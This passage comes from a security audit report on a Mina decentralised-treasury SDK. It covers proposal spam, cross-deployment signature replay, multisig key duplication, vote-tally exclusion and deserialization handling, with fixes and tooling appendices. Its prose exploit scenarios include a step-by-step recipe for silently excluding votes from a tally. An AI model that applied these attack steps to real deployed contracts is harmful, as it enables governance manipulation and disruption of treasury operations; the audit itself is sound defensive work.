At the extreme, an amount of 0 produces a proposal that faces only the minimum governance thresholds (since `proposalAmount / treasuryBalance` evaluates to zero), and can be executed as a silent no-op: `amountWithBond` and `remainingAmount` both evaluate to zero, so `execute(0, recipient)` satisfies all constraints and transfers nothing.

```
const amountWithBond = amount.add(amount.div(BOND_AMOUNT_DIVISOR));  
const remainingAmount = amountWithBond.sub(paidOutAmount);  
// ...  
remainingAmount  
  .greaterThanOrEqual(amountToPayOut)  
  .assertTrue(  
    "Amount to pay out is greater than the remaining amount to pay out",  
  );
```

*Figure 5.2: Execute path passes silently on an amount of 0.
([decentralised-treasury/treasury-proposal.ts#L298-L306](#))*

A zero-amount proposal therefore completes the full proposal lifecycle—creation, voting, tally, and execution—at zero cost with no observable effect on the treasury. Therefore, fixing the integer truncation alone does not establish a meaningful deterrent. Even with a minimum of `BOND_AMOUNT_DIVISOR` (10 nanomina), the resulting bond is one nanomina—economically trivial at any realistic MINA valuation. The bond mechanism

deters spam only when it represents a real opportunity cost relative to the value the treasury governs.

Exploit Scenario

An attacker submits hundreds of proposals with an amount of 1 nanomina during a proposal window, paying no bond for any of them. Each proposal dispatches vote actions to a separate `TreasuryProposalSmartContract`, forcing legitimate participants to identify and discard junk proposals before engaging with real ones. Because the proposal window spans 7,140 slots (around 15 days at Mina's 3-minute slot time) and no on-chain limit caps the total number of proposals, the attacker can pollute the entire window with spam at essentially zero financial cost. If the attacker submits proposals with an amount of 0, they can further resolve each spam proposal via a no-op execution, completing the lifecycle without any treasury interaction.

Recommendations

Short term, assert in `createProposal` that `proposal.amount` is greater than or equal to a meaningful minimum—at minimum, a value large enough to guarantee a nonzero bond (at least `BOND_AMOUNT_DIVISOR` nanomina), but small enough that makes submitting many proposals an economically unattractive strategy, such as 1 MINA (1,000,000,000 nanomina). The `// TODO: configure appropriate values based on real world data` comment already in `treasury-constants.ts` signals that this calibration was deferred; it should be resolved before deployment.

Long term, make the minimum proposal amount a governance-adjustable parameter updatable by the multisignature scheme rather than a hard-coded constant. A fixed constant cannot account for MINA price fluctuations or changes in governance activity over time; a value that deters spam at launch may become trivially cheap or prohibitively expensive as conditions change. Delegating control to the multisignature scheme would allow the minimum to be recalibrated without a contract redeployment.

6. Signatures are not bound to a specific deployment, enabling cross-deployment replay

Severity: **Medium**

Difficulty: **High**

Type: Cryptography

Finding ID: TOB-MINA-6

Target:

packages/sdk/src/provable/contracts/treasury-pause-controller/multisig-signatures.ts,
packages/sdk/src/provable/contracts/treasury-pause-controller/treasury-pause-controller.ts

Description

The message hashes used for multisignature authorization in TreasuryPauseControllerSmartContract do not include the controller contract's address. Signatures are therefore portable across any deployment that shares the same participant set, allowing an attacker with previously collected signatures to replay them against a redeployment.

All four multisignature-guarded operations share a single account nonce counter that increments on every call regardless of operation type. A fresh deployment always starts at nonce zero, so any signature collected on one deployment is valid on another deployment at a matching nonce, provided both share the same `multisigCommitment`.

The four `data*` functions differ in how much context they bind:

```
public static dataPauseTreasury(nonce: UInt32) {  
  return hashWithPrefix(this.prefixPauseTreasury, [...nonce.toFields()]);  
}  
  
public static dataUnpauseTreasury(nonce: UInt32) {  
  return hashWithPrefix(this.prefixUnpauseTreasury, [...nonce.toFields()]);  
}
```

Figure 6.1: `dataPauseTreasury` and `dataUnpauseTreasury` bind only the nonce. ([decentralised-treasury/multisig-signatures.ts#L61-L72](#))

```
public static dataTogglePauseProposal(  
  proposalPublicKey: PublicKey,  
  nonce: UInt32,  
) {  
  return hashWithPrefix(this.prefixTogglePauseProposal, [  
    ...proposalPublicKey.toFields(),
```

```

        ...nonce.toFields(),
    });
}

```

Figure 6.2: `dataTogglePauseProposal` additionally binds a proposal address. ([decentralised-treasury/multisig-signatures.ts#L46–L54](#))

```

public static dataRotateMultisigKeys(
    oldMultisigCommitment: Field,
    newMultisigCommitment: Field,
    nonce: UInt32,
) {
    return hashWithPrefix(this.prefixRotateMultisigKeys, [
        oldMultisigCommitment,
        newMultisigCommitment,
        ...nonce.toFields(),
    ]);
}

```

Figure 6.3: `dataRotateMultisigKeys` additionally binds both the old and new participant commitments. ([decentralised-treasury/multisig-signatures.ts#L81–L91](#))

The pause and unpause operations are the most easily replayed: a signature for `pauseTreasury(nonce=N)` is valid on any deployment at nonce `N` that shares the same participants. `togglePauseProposal` is replayable across deployments only when the same proposal address is also present, narrowing the window. `rotateMultisigKeys` is replayable only when both deployments share the same original participant set and the same intended rotation target.

Exploit Scenario

An initial deployment of `TreasuryPauseControllerSmartContract` is tested operationally: paused at nonce zero to verify the circuit, unpaused at nonce one, then paused again at nonce two when a real incident is discovered. Operators redeploy the contract at a new address with the same five participant keys. An attacker who observed the original signing ceremonies replays the nonce-zero pause signatures against the fresh deployment immediately—before it has processed any transactions—pausing the treasury without current participant consent. Alternatively, when the operators legitimately pause the new deployment at nonce zero, the attacker replays the nonce-one unpause signatures to undo it. The attacker can continue toggling the pause state for each nonce at which they hold matching signatures from the original deployment, disrupting treasury operations until the nonce advances beyond their collected range or the participant set is rotated.

Recommendations

Short term, include the controller contract's address in all four `data*` message hashes by passing `this.address` as an additional field in each `hashWithPrefix` call. That way, every signature will be bound to the specific deployment for which it was collected, making replay against any other contract address cryptographically impossible.

Long term, adopt a convention requiring all signed messages to include both a contract address and a domain-separated purpose string. Encoding this expectation in a shared helper or base class will prevent the omission from recurring in future operations added to this contract or sibling contracts with similar multisignature patterns.

References

- EIP-712: [Domain separator definition](#) and [discussion of signature replay prevention](#)

7. Multisignature circuit does not enforce participant key uniqueness

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-MINA-7

Target:

packages/sdk/src/provable/contracts/treasury-pause-controller/multisig-signatures.ts,
packages/sdk/src/provable/contracts/treasury-pause-controller/treasury-pause-controller.ts

Description

MultisigSignatures.verify counts valid signatures across the five participant slots but does not assert that the five participant public keys are distinct. If the on-chain commitment was derived from a key set in which one key occupies multiple slots, the holder of that key can satisfy multiple slots with a single private key, reducing the number of independent parties needed to meet the 3-of-5 threshold.

The commitment is a flat Poseidon hash of the concatenated key fields and encodes no uniqueness invariant of its own:

```
public static createCommitment(multisigParticipants: PublicKey[]) {  
  return Poseidon.hash([  
    ...multisigParticipants.flatMap((participant) => participant.toFields()),  
  ]);  
}
```

Figure 7.1: Commitment construction in createCommitment
(*decentralised-treasury/multisig-signatures.ts#L105-L109*)

The verify method accepts any witnessed participant array that hashes to the stored commitment, with no pairwise distinctness check:

```
public async verify(  
  data: Field,  
  multisigCommitment: Field,  
  multisigParticipants: PublicKey[],  
) {  
  const signaturesValid = this.signatures.map((signature, i) => {  
    return signature.verify(multisigParticipants[i], [data]);  
  });  
  
  const validSignaturesCount = signaturesValid.reduce(  
    (count, valid) => {  
      if (valid) {  
        count++;  
      }  
      return count;  
    }, 0);  
}
```

```

(signaturesValid, isValid) =>
  signaturesValid.add(
    Provable.if(isValid, UInt32.from(1), UInt32.from(0)),
  ),
  UInt32.from(0),
);

validSignaturesCount
  .greaterThanOrEqualTo(UInt32.from(MIN_VALID_MULTISIG_SIGNATURES_COUNT))
  .assertTrue(MultisigSignaturesErrors.NOT_ENOUGH_VALID_SIGNATURES);

const currentMultiSigCommitment =
  MultisigSignatures.createCommitment(multisigParticipants);

currentMultiSigCommitment
  .equals(multisigCommitment)
  .assertTrue(MultisigSignaturesErrors.INVALID_MULTISIG_COMMITMENT);
}

```

*Figure 7.2: Signature verification loop with no distinctness assertion
([decentralised-treasury/multisig-signatures.ts#L118-L145](#))*

The participant keys are introduced into the circuit as prover-supplied witnesses via `Provable.witness`. The commitment check is the only constraint binding those witnesses to previously committed values:

```

const multisigParticipants = Provable.witness(
  Provable.Array(PublicKey, MULTISIG_PARTICIPANTS_COUNT),
  () => TreasuryPauseControllerSmartContract.multisigParticipants,
);
await signatures.verify(data, currentCommitment, multisigParticipants);

```

*Figure 7.3: Prover-supplied participant witnesses in `verifySignatures`
([decentralised-treasury/treasury-pause-controller.ts#L104-L108](#))*

If a duplicate-key commitment is stored on-chain, the commitment check passes and no other constraint prevents the same key from satisfying multiple slots.

A duplicate-key commitment can reach on-chain state via two paths:

- Through initial deployment: The JavaScript length check in `init` rejects arrays shorter than five but does not require the five keys to be distinct, and the check is not a circuit constraint.
- More critically, through `rotateMultisigKeys`: The method accepts any `Field` as the new commitment and stores it unconditionally after verifying the required signatures against the old commitment. The new key set is never witnessed or inspected in the circuit:

```

@method
public async rotateMultisigKeys(
    multisigCommitment: Field,
    nonce: UInt32,
    signatures: MultisigSignatures,
) {
    ...
    await this.verifySignatures(signatures, data);
    await this.requireAndIncrementNonce(nonce);
    this.multisigCommitment.set(multisigCommitment);
}

```

Figure 7.4: `rotateMultisigKeys` stores any commitment without inspecting the underlying key set. ([decentralised-treasury/treasury-pause-controller.ts#L120-L135](#))

Note that submitting the same signature in all five slots against a commitment derived from five distinct keys is not sufficient to exploit this gap: each slot check cryptographically binds a signature to its slot's public key, so a signature from key A will not verify against a slot whose participant is key B. A duplicate key must appear in the commitment itself.

This pattern deviates from the norm established by mature multisignature implementations. Gnosis Safe enforces owner uniqueness at both registration time and at execution time.

Exploit Scenario

An administrator initializes or rotates the multisignature implementation to a participant array containing duplicate keys (for example, [K1, K1, K1, K2, K3]) through a copy-paste error or key-reuse oversight. The circuit accepts the commitment because `createCommitment` hashes whatever array it receives and no distinctness check exists anywhere. The on-chain commitment gives no indication that the effective threshold has been reduced: K1 occupies three slots, so its holder satisfies the 3-of-5 threshold alone.

Recommendations

Short term, enforce distinctness at every point where the commitment state variable is written rather than at every point where it is read. In `init`, add a JavaScript loop asserting pairwise distinctness before `createCommitment` is called—the keys are plain JavaScript values at that point, so no circuit primitives are needed. Extend the `rotateMultisigKeys` method to accept the new participant key array alongside the new commitment hash, witness the keys in-circuit, assert they hash to the provided commitment, and assert pairwise distinctness before storing the commitment. This will certify at write time that every stored commitment encodes a distinct key set, establishing the invariant as a property of on-chain state rather than a per-proof obligation.

Do not enforce uniqueness only inside `MultisigSignatures.verify`. If a duplicate-key commitment is already stored on-chain, verify-time checks would make it impossible to generate any valid proof against that commitment.

References

- [Gnosis Safe OwnerManager .sol: GS204 duplicate owner check](#)
- [Gnosis Safe checkNSignatures: Monotonic signer ordering](#)

8. Unchecked `actionStateHistoryTarget` enables selective vote-tally exclusion

Severity: High

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-MINA-8

Target:

`packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts`, `packages/sdk/src/provable/contracts/treasury-owner.ts`

Description

`VoteReducer.merge` verifies that the caller-supplied `publicInput` matches `proof1`'s public input via a Poseidon hash comparison, and then applies three field-level contiguity checks between `proof1` and `proof2`:

```
// TODO: compare individual entries of both inputs instead
Poseidon.hash(
  VoteReducerPublicInput.toFields(publicInput),
).assertEquals(
  Poseidon.hash(VoteReducerPublicInput.toFields(input1)),
  "Vote reducer merge public input does not match first proof input",
);

input1.votingLedgerRoot.assertEquals(input2.votingLedgerRoot, ...);
output1.toActionsHash.assertEquals(input2.fromActionsHash, ...);
output1.toNullifierRoot.assertEquals(input2.fromNullifierRoot, ...);
```

Figure 8.1: Merge constraints—`input2.actionStateHistoryTarget` is never checked ([decentralised-treasury/vote-reducer.ts#L349-L368](#))

The security issue is related to but distinct from the preceding “TODO” comment: `input2.actionStateHistoryTarget`—the set of five action-state hashes that `proof2` tracks as “found”—is never verified against anything. It is absent from both the Poseidon hash comparison (which covers only `publicInput` versus `input1`) and the three field-level contiguity checks (which cover `votingLedgerRoot`, `fromActionsHash`, and `fromNullifierRoot` between `proof1` and `proof2`, but not `actionStateHistoryTarget`). The two proofs can therefore have been generated against completely different targets.

A full field-by-field implementation of the “TODO” comment, extended to also compare `input1` and `input2` (or `publicInput` and `input2`) on `actionStateHistoryTarget`, would close this gap. As written, the “TODO” comment is a performance note and covers only `publicInput` versus `input1`.

The merge builds the merged `actionStateHistory` by cloning the hash values of `proof1`'s output and setting the found flag to true if either of the output found flags are true.:

```
const actionStateHistory = ActionStateHistory.clone(output1.actionStateHistory);
for (const actionStateKey of Object.keys(output1.actionStateHistory)) {
  actionStateHistory[actionStateKey].found = Provable.if(
    output1ActionState.found,
    output1ActionState.found,
    output2ActionState.found,
  );
}
```

*Figure 8.2: Found-flag merge—proof2's flags applied to proof1's hash values
([decentralised-treasury/vote-reducer.ts#L371–L393](#))*

A prover who can generate vote-reducer proofs can exploit this to submit a tally that silently excludes batches of votes.

Exploit Scenario

Assume a proposal has received five batches of votes, producing on-chain action-state hashes $H1 < H2 < H3 < H4 < H5$ in chain order, all stored in the proposal account's five action-state slots. The attacker controls the off-chain prover and wishes to exclude the four later batches ($H2$ – $H5$), which contain unfavorable votes, and tally only the first batch.

Step 1: Build proof1 with `actionStateHistoryTarget` $T1 = [H1, H2, H3, H4, H5]$. Process a single `reduceBatch` of dummy actions starting from `Reducer.initialActionState`; `toActionsHash` stays at `init`. None of the five target hashes are matched; all found flags remain false.

Step 2: Build proof2 with `actionStateHistoryTarget` $T2 = [H1, H1, H1, H1, H1]$ —all five slots set to $H1$. Start `proof2` at `init` (contiguity: `proof1` ended at `init`) and process the first real batch. When `toActionsHash` advances to $H1$, all five $T2$ slots equal $H1$ simultaneously, setting all five found flags to true. `Proof2`'s output is `toActionsHash = H1`, with all found values set to true.

Step 3: Merge proof1 and proof2. The circuit enforces that `publicInput` is equal to `proof1.publicInput`, so the merged proof carries $T1$ as its `actionStateHistoryTarget`. Hash values in the merged `actionStateHistory` come from $T1$: $[H1, H2, H3, H4, H5]$. Because the merged found flags are the logical OR of each proof's flags, and `proof2`'s flags are all true, every slot in the merged output is marked as found. The merged `toActionsHash` is $H1$.

Step 4: Submit to tallyVotes. When we call the `tallyVotes` function of `TreasuryProposalSmartContract`, the following equalities hold:

- `fromActionsHash` equals `Reducer.initialActionState` because `proof1` started at `init`.
- `toActionsHash == actionStateHistory.actionStateOne.hash` effectively resolves to `H1 == H1`.

In `TreasuryOwnerSmartContract.tallyVotes`, the following checks are performed while iterating over all five slots:

- `requireEquals(Hi)` passes for $i = 1-5$: Each H_i is a genuine stored action state in the proposal account.
- `found.assertTrue()` passes, as all five flags are true.
- The consecutive uniqueness check passes: H_1, H_2, H_3, H_4 , and H_5 are all distinct.

All checks pass. The tally reflects only the votes in the first batch; four batches of votes are silently excluded. The attacker can engineer an APPROVED outcome by choosing the cutoff point that maximizes YAY weight relative to NAY weight.

Recommendations

Short term, add per-slot equality checks in `VoteReducer.merge` to ensure that the `actionStateHistoryTarget` field of `input1` and `input2` are equal for all five slots. This will ensure that found-flag contributions from `proof2` are always evaluated against the same target as `proof1`, making found-flag injection via a mismatched history target impossible.

Long term, add regression tests that specifically exercise mismatched-target merge attempts and verify that target consistency is enforced throughout reduction and merge, not only at the final `tallyVotes` boundary; include cases where `proof2` uses repeated hashes to try to inject found flags into `proof1`'s distinct target set.

9. Incomplete error handling in deserialization methods

Severity: Informational

Difficulty: High

Type: Error Reporting

Finding ID: TOB-MINA-9

Target: packages/sdk/src/provable/account.ts,
packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts

Description

The `Account.fromJSON` method is designed to return an empty account on any deserialization failure. However, the method performs a property assignment on the input before entering the `try/catch` block, causing it to throw an uncaught `TypeError` when called with a primitive value.

The `delegate` fixup logic on lines 231–234 runs before the `try` block on line 236 (figure 9.1). When `json` is a primitive such as `false`, `""`, `0`, or `null`, the expression `json.delegate = json.pk` throws a `TypeError` because JavaScript does not allow property assignment on primitive values. This error propagates to the caller uncaught, contradicting the method's stated invariant.

```
public static fromJSON(json: Record<string, any>): Account {
  let account: Account;
  let emptyDelegate = false;

  // TODO: delegate should be physically empty for custom token accounts, why does
  // it come back as PublicKey.empty()?
  if (!json.delegate || json.delegate === PublicKey.empty().toBase58()) {
    emptyDelegate = true;
    json.delegate = json.pk;
  }

  try {
    account = super.fromJSON(json as any);
    // ...
  } catch (error) {
    account = Account.empty();
  }
  return account;
}
```

Figure 9.1: Delegate fixup runs before the `try/catch` block.

([decentralised-treasury/packages/sdk/src/provable/account.ts#L226–L245](#))

A related pattern exists in `VoteAction.fromJSON`, which catches deserialization errors and returns `VoteAction.empty` (figure 9.2). While `VoteAction.fromJSON` does wrap all logic in a try block, it silently swallows errors using `Provable.log`, making failures indistinguishable from intentional dummy padding used in the vote reducer's fixed-size batch processing.

```
public static fromJSON(json: Record<string, any>): VoteAction {
  let voteAction: VoteAction;
  try {
    voteAction = super.fromJSON(json as any);
  } catch (error) {
    Provable.log("error deserializing vote action", error);
    voteAction = VoteAction.empty();
  }
  return voteAction;
}
```

Figure 9.2: Deserialization errors are silently replaced with empty actions.

([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts#L103-L112](#))

In practice, both methods receive data from staking ledger JSON files rather than arbitrary user input, so the uncaught exception is unlikely to be triggered in production. Nevertheless, the gap between the code's documented intent and its actual behavior could mask bugs during development or testing.

Exploit Scenario

A developer writes a test or integration that passes malformed data to `Account.fromJSON`, expecting it to return an empty account as documented. Instead, the method throws an uncaught `TypeError`, causing the test or pipeline to fail in a way that does not indicate the root cause. The developer spends time debugging the caller rather than the deserialization method itself.

Recommendations

Short term, move the delegate fixup logic inside the existing try/catch block in `Account.fromJSON` so that all error paths return `Account.empty` as intended. This will make the method's behavior match its documented contract.

Long term, replace silent error swallowing with explicit input validation at the boundary of deserialization methods. Checking that the input is a non-null object before accessing its properties will make the failure mode visible and prevent similar gaps between documented and actual behavior.

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	Description
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	Description
Not Applicable	This issue is of informational severity and does not pose an immediate risk, so difficulty does not apply.
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	Description
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Decentralization	The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades
Documentation	The presence of comprehensive and readable codebase documentation
Low-Level Manipulation	The justified use of inline assembly and low-level calls
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage
Transaction Ordering	The system's resistance to transaction-ordering attacks

Rating Criteria	
Rating	Description
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.
Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category does not apply to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. Non-Security-Related Recommendations

This appendix contains recommendations that do not have immediate or obvious security implications. However, implementing them may enhance the code's readability and may prevent the introduction of vulnerabilities in the future.

- **Address the `strictNullChecks` warning in figure C.1. Update the code to throw an explicit error if `_verificationKey` is undefined.**

```
contracts/treasury-owner.ts:208:7 - error TS2345: Argument of type '{ data: string; hash: Field; } | undefined' is not assignable to parameter of type '{ data: string; hash: Field; }'.
  Type 'undefined' is not assignable to type '{ data: string; hash: Field; }'.

208         TreasuryProposalSmartContract._verificationKey,
```

Figure C.1: `strictNullChecks` warning produced on `contracts/treasury-owner.ts`

- **Eliminate the implicit Any warnings in `treasury-owner.ts` (figure C.2). Declare a `const` `actionStateKeys` array (figure C.3) and update the code to iterate over it rather than `Object.keys(...)`.**

```
contracts/treasury-owner.ts:296:9 - error TS7053: Element implicitly has an
'any' type because expression of type 'string' can't be used to index type
'ActionStateHistory'.
  No index signature with a parameter of type 'string' was found on type
  'ActionStateHistory'.

296         voteReducerProof.publicOutput.actionStateHistory[actionStateKey];
```

Figure C.2: Implicit Any warning produced on `contracts/treasury-owner.ts`

```
--- a/packages/sdk/src/provable/contracts/treasury-owner.ts
+++ b/packages/sdk/src/provable/contracts/treasury-owner.ts
@@ -284,15 +284,21 @@ export class TreasuryOwnerSmartContract extends
TokenContract {
    // TODO: is this safe and correct?
    const treasuryOwnerPublicKey = this.self.publicKey;

+   const actionStateKeys: (keyof ActionStateHistory)[] = [
+     'actionStateOne',
+     'actionStateTwo',
+     'actionStateThree',
+     'actionStateFour',
+     'actionStateFive',
+   ];
```

```

+
let previousActionState = Field(0);
-   for (const actionStateKey of Object.keys(
-       voteReducerProof.publicOutput.actionStateHistory,
-   )) {
+   for (const actionStateKey of actionStateKeys) {
        const actionStateUpdate = AccountUpdate.create(
            proposalPublicKey,
            this.deriveTokenId(),
        );
-       const actionState: ActionStateHistory["actionStateOne"] =
+       const actionState =
            voteReducerProof.publicOutput.actionStateHistory[actionStateKey];

        actionStateUpdate.account.actionState.requireEquals(actionState.hash);

```

Figure C.3: Recommended fix for the warning in figure C.2

- **Eliminate one of the two duplicate assertions in figures C.4 and C.5.**

```

voteReducerPublicInput.fromActionsHash
    .equals(Reducer.initialActionState)
    .assertTrue("fromActionsHash should be the initial action state");

```

Figure C.4: The first of two duplicate assertions in `treasury-proposal.ts` (`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts#L183-L185`)

```

voteReducerPublicInput.fromActionsHash
    .equals(Reducer.initialActionState)
    .assertTrue("fromActionsHash should be the initial action state");

```

Figure C.5: The second of two duplicate assertions in `treasury-proposal.ts` (`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts#L192-L194`)

- **Eliminate the statement in figure C.6, or add a comment explaining its purpose.** The statement appears in a method that generates a proof. However, because the statement is a conventional `if` and not a `Provable.if`, its impact on the circuit depends on the compile-time environment. A reader could mistake the call to `Account.requireSignature` for `Signature.verify` or `MultisigSignatures.verify`.

```

if (TreasuryProposalSmartContract.permissionType == "signature") {
    proposal.self.requireSignature();
}

```

Figure C.6: Conventional `if` appearing in a method that generates a proof (`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-owner.ts#L351-L353`)

- Eliminate the unused methods in figures C.7 and C.8, or add comments explaining why they are unused.

```
public static clone(actionStateHistoryTarget: ActionStateHistoryTarget) {
  return new ActionStateHistoryTarget({
    actionStateOne: actionStateHistoryTarget.actionStateOne,
    actionStateTwo: actionStateHistoryTarget.actionStateTwo,
    actionStateThree: actionStateHistoryTarget.actionStateThree,
    actionStateFour: actionStateHistoryTarget.actionStateFour,
    actionStateFive: actionStateHistoryTarget.actionStateFive,
  });
}
```

Figure C.7: An unused function in `vote-reducer.ts`

(`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts#L122-L130`)

```
public static equals(
  actionStateHistory1: ActionStateHistory,
  actionStateHistory2: ActionStateHistory,
): Bool {
  return actionStateHistory1.actionStateOne.hash
    .equals(actionStateHistory2.actionStateOne.hash)
    .and(
      actionStateHistory1.actionStateOne.found.equals(
        actionStateHistory2.actionStateOne.found,
      ),
    ),
  ...
  .and(
    actionStateHistory1.actionStateFive.found.equals(
      actionStateHistory2.actionStateFive.found,
    ),
  );
}
```

Figure C.8: A second unused function in `vote-reducer.ts`

(`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts#L189-L240`)

- Either change the permission in figure C.9 to `.proof`, or document why `.proofOrSignature` is needed. At present, allowing signatures is unmotivated. (See also the earlier comment in this appendix regarding `Account.requireSignature`.)

```
public static permissions: Permissions = {
  ...Permissions.allImpossible(),
  editState: Permissions.proof(),
  access: Permissions.proof(),
  incrementNonce: Permissions.proofOrSignature(),
}
```



```

setVerificationKey:
  Permissions.VerificationKey.impossibleDuringCurrentVersion(),
send: Permissions.proof(),
receive: Permissions.proof(),
};

```

Figure C.9: Use of `.proofOrSignature` in `treasury-owner.ts` (`decentralised-treasury/packages/sdk/src/provable/contracts/treasury-owner.ts#L59-L68`)

- Replace or remove the random private keys used as default CLI option values.** The `--multisig-participants-public-keys` option in `deploy-treasury-owner.ts` defaults to three freshly generated random private keys that are discarded immediately after parsing. A user who omits the flag deploys with three uncontrollable multisignature participants. Replace the default with an empty array, or remove it entirely so the CLI rejects an omitted flag.
- Compute empty tree roots as module-level constants rather than setting them from live storage.** `TreasuryProposalSmartContract.emptyNullifierRoot` and `emptyVotingLedgerRoot` are mutable static fields that the tests populate from live SQLite-backed ledger instances immediately before calling `compile()`; a stale database from a prior run will silently bake the wrong values into the verification key. Worse, the `production compile` path in `deploy-treasury-owner.ts` never sets either field, so both are undefined when the circuit is compiled. Both values are fully deterministic—a pure function of tree height and the empty-leaf hash already computed in `nullifier-ledger.ts`—and should be declared as module-level constants computed by hashing up the zero-valued path for `height - 1` steps. Update `compileTreasuryContracts` to reference these constants, and add a unit test asserting each one matches `tree.zeroes[height - 1]` on a freshly constructed in-memory tree.
- Add comments explaining why proposal contract methods contain no authentication.** Every method on `TreasuryProposalSmartContract` accepts inputs and acts on them without checking the caller's identity; all access control is delegated to `TreasuryOwnerSmartContract`, which gates each operation behind lifecycle checks and proof verification before calling through. This is a deliberate design choice, but nothing in the proposal contract's source says so. A maintainer reading the contract in isolation—or one modifying `approveBase`—has no signal that the absent authentication is intentional rather than an oversight. Add a class-level doc comment stating that authentication is intentionally absent, that all access control is enforced by `TreasuryOwnerSmartContract`, and that weakening `approveBase` or redeploying this contract under a different token would remove all access control simultaneously.

- **Guard against unsafe content in the raw fetch response that is currently passed directly to `Provable.log`:** In `read-proposal.ts`, the response body from an arbitrary operator-supplied URL is passed directly to `Provable.log`, which behaves like `console.log` in non-proving contexts. A malicious server can inject terminal escape sequences or craft output that misleads the operator. Add sanitization of the content or have it printed it with a clear provenance header before it is displayed.
- **Document and guard the compilation-order invariant for side-loaded verification key constants.** `TreasuryProposalSmartContract` declares `voteReducerVerificationKey` and `stakingLedgerToVotingLedgerVerificationKey` as uninitialized mutable static fields. The security of the side-loaded proof verification in `tallyVotes` depends on these fields being populated from legitimate compilations of the respective `ZkPrograms` *before* either outer contract is compiled; when that ordering is respected, the verification key hash is baked into each circuit as a compile-time constant, binding the circuit to a specific inner program. This invariant is maintained by `compileTreasuryContracts`, which all CLI entry points call. Nothing in the source communicates or enforces this requirement: the fields carry no documentation, there is no runtime guard that throws an exception if they are unset at compile time, and the `o1js` documentation for `DynamicProof` explicitly warns that the circuit makes no assertions about the verification key on its own. A developer who calls `TreasuryProposalSmartContract.compile()` or `TreasuryOwnerSmartContract.compile()` outside of `compileTreasuryContracts`—in a test harness, a tooling script, or a future refactor—will silently bake undefined or a stale verification key into the circuit. Add a comment at the field declarations explaining the invariant and the required ordering, and add an assertion at the start of `compileTreasuryContracts` (or a dedicated compile helper) that throws an exception if either field is unset before the outer contracts are compiled.
- **Address the 79 unused local variables across 18 files.** CodeQL flagged unused local variable declarations in 18 source and test files, with the highest concentrations in `cli.ts` (10 instances), `treasury-owner.test.ts` (9), and `staking-ledger-to-voting-ledger-service.ts` (7). The instances in `staking-ledger-to-voting-ledger.ts` (4) and `treasury-proposal.ts` (2) warrant closer review: in provable code, a variable that appears to contribute to a constraint but is actually dead may indicate an accidentally omitted assertion.
- **Address a potential null dereference in `VotingAccountInMemoryService.toMerkleTreeService`.** In `voting-account-service.ts`, `this.votingAccounts` is typed `Record<string, VotingAccount | undefined>`, so `Object.entries` yields values of type `VotingAccount | undefined`. The loop accesses `.balance` on each

value without a null check. In practice, `setVotingAccount` always stores a concrete instance, so the `undefined` branch is unreachable, but the type system permits it and a future refactor could introduce it silently. Add an `if (!votingAccount)` `continue` guard, or narrow the field's type to `Record<string, VotingAccount>`.

D. Static Code Analysis

This appendix describes the setup of the static analysis tools we used during this audit.

CodeQL

We used CodeQL to detect known vulnerabilities in the codebase. We installed CodeQL by following [CodeQL's installation guide](#).

```
# Create the javascript database
codeql database create codeql.db --language=javascript

# Run specific query pack
codeql database analyze codeql.db --format=sarif-latest --output=codeql.sarif \
  -- <QUERY PACK>

# Run all queries for a language
codeql database analyze codeql.db --format=sarif-latest --output=codeql.sarif
```

Figure D.1: The commands used to run CodeQL on the codebase

During the engagement, we ran the query suites that are included with CodeQL. We also ran internally maintained CodeQL query suites on the codebase. For more information about CodeQL, refer to the [CodeQL chapter of the Trail of Bits Testing Handbook](#).

Semgrep

We ran the static analyzer [Semgrep](#) with the rulesets shown in figure D.2 to try and identify low-complexity weaknesses in the codebase. To install Semgrep, we used pip by running `python3 -m pip install semgrep`.

```
semgrep --metrics=off --sarif --config p/ci
semgrep --metrics=off --sarif --config p/trailofbits
